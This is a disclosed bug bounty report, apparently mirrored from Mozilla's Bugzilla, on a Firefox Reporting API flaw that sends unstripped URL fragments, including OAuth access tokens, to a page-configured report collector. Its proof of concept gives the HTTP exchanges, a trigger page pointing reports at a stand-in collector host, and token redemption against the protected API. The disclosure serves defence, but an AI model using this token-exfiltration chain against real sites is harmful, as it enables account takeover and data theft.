Skip to content
Info disclosure Disclosed report Advanced CVE-2026-16400

Reporting API fails to strip URL fragments from report URLs

Firefox's Reporting API sends the full document URL, including any fragment, in browser-generated deprecation reports instead of stripping it. A page that configures a reporting endpoint can therefore leak a fragment-borne OAuth bearer token to that collector, which can then redeem it against the protected API.

Rintaro Kawasugi Follow

Originally disclosed on Mozilla

  • Fixed in 7 days
  • Paid in 48 days
  • Disclosed after 7 days

Created attachment 9601298 reporting-api-fragment.tar.gz

summary

Affected versions: Firefox Release 152.0.2, Firefox Nightly 154.0a1, and Firefox 152.0a1 Nightly build ID 20260619143714. A page that explicitly configures a Reporting API endpoint with Reporting-Endpoints can cause Firefox deprecation reports to send the full document URL fragment in the report envelope url; the deprecation body sourceFile also carries the same unstripped document URL. The sensitive input is a server-issued value placed in the document fragment by the victim application's navigation flow, and the external entry point is browser-generated deprecation reporting to the endpoint configured by the protected page.

dom/reporting/ReportDeliver.cpp, ReportDeliver::Deliver, serializes the report envelope URL directly into the outgoing application/reports+json payload:

C++
    w.StringProperty("type", NS_ConvertUTF16toUTF8(report.mType));
    w.StringProperty("url", NS_ConvertUTF16toUTF8(report.mURL));
    w.StringProperty("user_agent", NS_ConvertUTF16toUTF8(report.mUserAgent));
    w.JSONProperty(MakeStringSpan("body"),
                   Span<const char>(report.mReportBodyJSON.Data(),
                                    report.mReportBodyJSON.Length()));

dom/reporting/ReportDeliver.cpp, report queuing, stores the supplied report URL in ReportData:

C++
       type = nsString{aType}, group = nsString{aGroupName},
       reportUrl = nsString{aURL},
       reportBody = std::move(reportBodyJSON).StringRRef(), principal,
       browsingContextId = aAssociatedBrowsingContextId]() mutable {
        ReportData data;

dom/reporting/DeprecationReportBody.cpp, deprecation body construction and JSON output, stores and serializes sourceFile with the original fragment-bearing value:

C++
      mMessage(aMessage),
      mSourceFile(aSourceFile),
      mLineNumber(aLineNumber),
      mColumnNumber(aColumnNumber) {
C++
  if (mSourceFile.IsEmpty()) {
    aWriter.NullProperty("sourceFile");
  } else {
    aWriter.StringProperty("sourceFile", mSourceFile);
  }

The missing check is fragment redaction before browser-generated deprecation report delivery. The normative violation is strongest for the report envelope url; the deprecation sourceFile field is an additional observed disclosure of the same unstripped document URL. In an OAuth implicit-flow callback shape, a configured third-party or less-trusted reporting collector receives the access_token fragment from browser-generated reporting even when the page immediately scrubs the fragment with history.replaceState(). The connect-src 'none' policy in the PoC is a control showing that page script is not directly sending the token to the collector.

poc

  1. Use Firefox Release 152.0.2, Firefox Nightly 154.0a1, or Firefox 152.0a1. Configure https://REPORT_ORIGIN/report as a Reporting API collector and https://VICTIM_ORIGIN/api/me as a bearer-token protected API. The collector accepts cross-origin report delivery from the victim origin:
HTTP
OPTIONS /report HTTP/1.1
Host: REPORT_ORIGIN
Origin: https://VICTIM_ORIGIN
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://VICTIM_ORIGIN
Access-Control-Allow-Methods: POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
  1. Generate OAUTH_ACCESS_TOKEN_128BIT on the victim authorization server, store it as a valid bearer token, and redirect the OAuth flow into the callback fragment:
HTTP
HTTP/1.1 302 Found
Location: https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600
  1. Serve this OAuth callback page from https://VICTIM_ORIGIN/oauth/callback:
HTTP
HTTP/1.1 200 OK
Content-Type: text/html
Reporting-Endpoints: default="https://REPORT_ORIGIN/report"
Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'; connect-src 'none'

<!doctype html>
<meta charset="utf-8">
<script>
try { document.releaseCapture(); } catch (e) {}
try { document.documentElement.setCapture(); } catch (e) {}
try {
  document.createEvent("MouseEvents").initMouseEvent("click", true, true, window);
} catch (e) {}
history.replaceState(null, "", "/oauth/callback");
</script>
  1. Navigate to the authorization endpoint that returns the redirect from step 2. The browser reaches:
Text
https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600
  1. The callback page removes the fragment from the visible URL with history.replaceState(), but the report collector receives a browser-generated report containing the original fragment. Relevant fields from the received report:
HTTP
POST /report HTTP/1.1
Host: REPORT_ORIGIN
Content-Type: application/reports+json

[{"type":"deprecation","url":"https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600","body":{"id":"DocumentReleaseCapture","sourceFile":"https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600"}}]

The collector responds:

HTTP
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://VICTIM_ORIGIN
  1. Redeem the token from the report through the protected API:
HTTP
GET /api/me HTTP/1.1
Host: VICTIM_ORIGIN
Authorization: Bearer OAUTH_ACCESS_TOKEN_128BIT

The victim origin returns protected data:

HTTP
HTTP/1.1 200 OK
Content-Type: application/json

{"id":"victim-user","email":"[address removed]"}

impact

The impact is disclosure of OAuth fragment bearer credentials to a configured third-party or less-trusted Reporting API endpoint during ordinary navigation to a fragment-bearing callback URL. The collector can receive the fragment token from browser-generated reporting and redeem it against the protected origin's token-authenticated API.

The original report as published on Mozilla's Bugzilla, by Rintaro Kawasugi. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the report serialisation writes the stored document URL and source file verbatim without redacting the fragment before delivery.

Impact

A configured third-party or less-trusted reporting collector could receive the OAuth fragment bearer token and redeem it against the protected origin's API; the connect-src 'none' policy shows page script was not the sender.

What the attacker needed

Firefox 152/154 affected versions; Page configures a Reporting API endpoint; Victim navigates to fragment-bearing URL; Collector accepts cross-origin reports

How it was found

  1. Configure a reporting collector and a token-protected API, with the collector accepting cross-origin reports from the victim origin.
  2. Issue an OAuth token and redirect the flow to a callback URL that carries the token in the fragment.
  3. Serve a callback page that declares the reporting endpoint and clears the fragment with history.replaceState().
  4. Navigate to the authorisation endpoint so the browser lands on the fragment-bearing callback URL.
  5. Observe the collector receiving a deprecation report whose url and sourceFile contain the original fragment.
  6. Redeem the leaked token against the protected API to retrieve victim data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A URL fragment is the part after the # sign, and some apps put secret tokens there. Firefox can send automatic error reports to an address the page chooses, and it was including the whole URL with the secret part still attached. So whoever runs that report address could read the token and use it to log in as the victim.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Rintaro Kawasugi

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.